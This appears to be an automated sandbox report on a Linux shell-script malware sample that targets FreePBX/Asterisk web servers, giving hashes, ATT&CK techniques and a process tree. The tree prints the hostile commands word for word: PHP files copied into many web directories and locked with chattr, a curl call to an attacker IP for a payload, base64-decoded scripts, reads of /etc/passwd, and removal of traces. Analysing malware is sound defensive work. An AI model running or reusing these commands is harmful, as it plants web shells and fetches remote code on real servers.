e641735ed5cb8aed3c22614644097ba2c1b685add6dea90809d6e6ea0e43727d

Analysis

max time kernel
5s
max time network
7s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
10/09/2026, 16:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e641735ed5cb8aed3c22614644097ba2c1b685add6dea90809d6e6ea0e43727d.sh
Size 26KB
Sample260910-tplfmsdq7v
SHA256 e641735ed5cb8aed3c22614644097ba2c1b685add6dea90809d6e6ea0e43727d
MD5 d5724842b1920974563d0c8624734271
SHA1 ff6cff86a100519b80ec15175e8bad009842ef97
SHA512 5c698e92f9ffd010f6b2380cb6f2ed60244b67d3ce7b1a431673385b28fc808a75d3aa0c95c2eb835814f006a2417a171cefa5685ce85906adbdcb03df842286
SSDEEP 768:T8vCB+25j6es8Rx9FYpMSUpi+20qUpi+20YQX:T8l25Jnd2QX
TLSH
T11AC27C956A867C44BEC98A3E4CBD2B1D6DF5C3D1324942AC3D8B3C719C11FACD618B1A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
700	chmod
701	chmod

Deobfuscate/Decode Files or Information 1 TTPs 4 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
742	base64
766	base64
775	base64
652	base64

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 36 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mv

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tryRoot1.sh	e641735ed5cb8aed3c22614644097ba2c1b685add6dea90809d6e6ea0e43727d.sh

/tmp/e641735ed5cb8aed3c22614644097ba2c1b685add6dea90809d6e6ea0e43727d.sh
/tmp/e641735ed5cb8aed3c22614644097ba2c1b685add6dea90809d6e6ea0e43727d.sh
1⤵
- Writes file to tmp directory
PID:645
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:652
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
  2⤵
  - Reads runtime system information
  PID:656
- /bin/mkdir
  mkdir -p /var/www/html/rest_phones/
  2⤵
  - Reads runtime system information
  PID:659
- /bin/mkdir
  mkdir -p /var/www/html/restiapps/
  2⤵
  - Reads runtime system information
  PID:664
- /bin/mkdir
  mkdir -p /var/www/html/restiapp/
  2⤵
  - Reads runtime system information
  PID:670
- /bin/mkdir
  mkdir -p /var/www/html/phones/
  2⤵
  - Reads runtime system information
  PID:672
- /bin/mkdir
  mkdir -p /var/www/html/digiums/
  2⤵
  - Reads runtime system information
  PID:674
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/h/
  2⤵
  - Reads runtime system information
  PID:676
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/fpbxphones/
  2⤵
  - Reads runtime system information
  PID:677
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/phones/
  2⤵
  - Reads runtime system information
  PID:679
- /bin/mkdir
  mkdir -p /var/www/html/digium_phones/
  2⤵
  - Reads runtime system information
  PID:682
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
  2⤵
  - Reads runtime system information
  PID:683
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/some.php
  2⤵
  - Reads runtime system information
  PID:685
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/some.php
  2⤵
  - Reads runtime system information
  PID:686
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/some.php
  2⤵
  - Reads runtime system information
  PID:687
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/core/some.php
  2⤵
  - Reads runtime system information
  PID:688
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/some.php
  2⤵
  - Reads runtime system information
  PID:689
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/digiums/some.php
  2⤵
  - Reads runtime system information
  PID:690
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/phones/some.php
  2⤵
  - Reads runtime system information
  PID:692
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/restiapp/some.php
  2⤵
  - Reads runtime system information
  PID:693
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/some.php
  2⤵
  - Reads runtime system information
  PID:694
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/some.php
  2⤵
  - Reads runtime system information
  PID:695
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/views/some.php
  2⤵
  - Reads runtime system information
  PID:696
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/restiapps/some.php
  2⤵
  - Reads runtime system information
  PID:697
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/digium_phones/some.php
  2⤵
  - Reads runtime system information
  PID:698
- /usr/bin/touch
  touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
  2⤵
  PID:699
- /bin/chmod
  chmod +x /var/www/html/admin/views/ajax.php
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /bin/chmod
  chmod +x /var/www/html/admin/views/some.php
  2⤵
  - File and Directory Permissions Modification
  PID:701
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/ajax.php
  2⤵
  PID:702
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/ajax.php
  2⤵
  PID:703
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/some.php
  2⤵
  PID:704
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/some.php
  2⤵
  PID:705
- /usr/bin/chattr
  chattr +i /var/www/html/some.php
  2⤵
  PID:706
- /usr/bin/chattr
  chattr +a /var/www/html/some.php
  2⤵
  PID:707
- /usr/bin/chattr
  chattr +i /var/www/html/h.php
  2⤵
  PID:708
- /usr/bin/chattr
  chattr +a /var/www/html/h.php
  2⤵
  PID:709
- /bin/sh
  sh
  2⤵
  PID:713
- /usr/bin/curl
  curl http://160.119.69.4/z/post/noroot.php
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:712
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:742
- /usr/bin/tee
  tee -a /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:743
- /bin/bash
  bash /tmp/tryRoot1.sh
  2⤵
  PID:745
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:751
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:754
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:757
- - /bin/mkdir
    mkdir -p /var/www/html/admin/modules/freepbx_ha/
    3⤵
    - Reads runtime system information
    PID:761
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
    3⤵
    - Reads runtime system information
    PID:763
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:766
- - /bin/rm
    rm -f /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    PID:768
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    - Reads runtime system information
    PID:770
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:772
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:775
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:776
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:777
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:778
- /bin/bash
  bash /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:780
- /bin/rm
  rm -rf /tmp/tryRoot1.sh
  2⤵
  PID:781
- /bin/rm
  rm -rf /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:782
- /usr/bin/curl
  curl http://160.119.69.4/z/post/noroot.php
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:783
- /bin/sh
  sh
  2⤵
  PID:784

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

tryRoot1.sh

Path /tmp/tryRoot1.sh
Size 11KB
SHA256 9ed7c1cdf1cb3851b1641cc586d90356c82db2f52585ede4d6d367a0b8bec02b
MD5 8cb7008cbeb1b579946d1c77139a2ea0
SHA1 eb9fc5af92b42ac9eb9efbb847cbd67284ed19ef
SHA512 d4932397a4ddc7ba9643ca82e1ae852b6a8afc2b15824f90afdf439509e60944a5c5608fd0e8a97ff3cd9c8bd4b48c76db8633e8f787d1e2256c9c6b9dcc94ab
SSDEEP 192:zroaKAtVgmuC13sihwiYPMUroaKAtVgmuC13sihwiYPM8roaKAtVgmuC13sihwi6:zro/AMC1cJlP9ro/AMC1cJlPHro/AMCq
TLSH
T1DF32C783066F3275E2063FAB5CFD1F9C7BEA8B4A34A2692529063D9445DDC0FD470A5C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads